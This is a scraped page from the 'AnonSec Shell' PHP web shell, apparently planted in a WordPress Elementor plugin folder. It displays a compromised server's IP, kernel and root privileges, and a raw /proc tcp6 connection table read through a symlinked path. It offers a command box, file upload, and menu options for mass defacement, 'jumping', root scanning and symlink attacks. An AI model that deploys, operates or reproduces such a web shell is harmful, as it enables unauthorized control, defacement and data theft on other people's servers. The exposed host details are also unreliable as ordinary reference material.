AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/elementor/anon_sym/anon/proc/self/root/proc/382/task/382/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/elementor/anon_sym/anon/proc/self/root/proc/382/task/382/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2962179 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3759423935 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3759423939 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF0000ADCFAB14:AF92 01 00000000:00000000 02:000AD9AA 00000000    33        0 779644910 2 0000000000000000 22 4 31 10 -1
   4: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:7CDA 06 00000000:00000000 03:00000F2F 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:51C0 06 00000000:00000000 03:000000F8 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF0000D1967772:D927 06 00000000:00000000 03:0000154A 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:A560 06 00000000:00000000 03:00000F23 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF0000E403B587:8DB4 05 00000000:00000000 03:00001720 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:760F 06 00000000:00000000 03:00000308 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF0000C2CFAB14:8A9C 01 00000000:00000000 02:000AD8B4 00000000    33        0 779642314 2 0000000000000000 22 4 30 10 -1
  11: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:18D3 06 00000000:00000000 03:0000092F 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:F933 06 00000000:00000000 03:00001583 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:77DF 06 00000000:00000000 03:00000F18 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:DB2F 06 00000000:00000000 03:00000379 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:C4BB 06 00000000:00000000 03:00000041 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:936E 06 00000000:00000000 03:00000935 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:DA5E 06 00000000:00000000 03:000006E6 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:765C 01 00000000:00000000 02:000AF53C 00000000    33        0 779746516 3 0000000000000000 26 4 0 85 -1
  19: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:300A 08 00000000:00000019 02:000A68E2 00000000    33        0 779274296 2 0000000000000000 26 4 28 14 -1
  20: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:4915 06 00000000:00000000 03:00000312 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:8F85 06 00000000:00000000 03:00000FA7 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:B9AF 06 00000000:00000000 03:000012B6 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:B86A 06 00000000:00000000 03:00000363 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:4C0C 01 00000000:00000000 02:000AF239 00000000    33        0 779742221 3 0000000000000000 26 4 0 12 -1
  25: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:DD06 06 00000000:00000000 03:000002F6 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:1EBB 06 00000000:00000000 03:00000F15 00000000     0        0 0 3 0000000000000000
  27: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:C5FF 06 00000000:00000000 03:0000059A 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team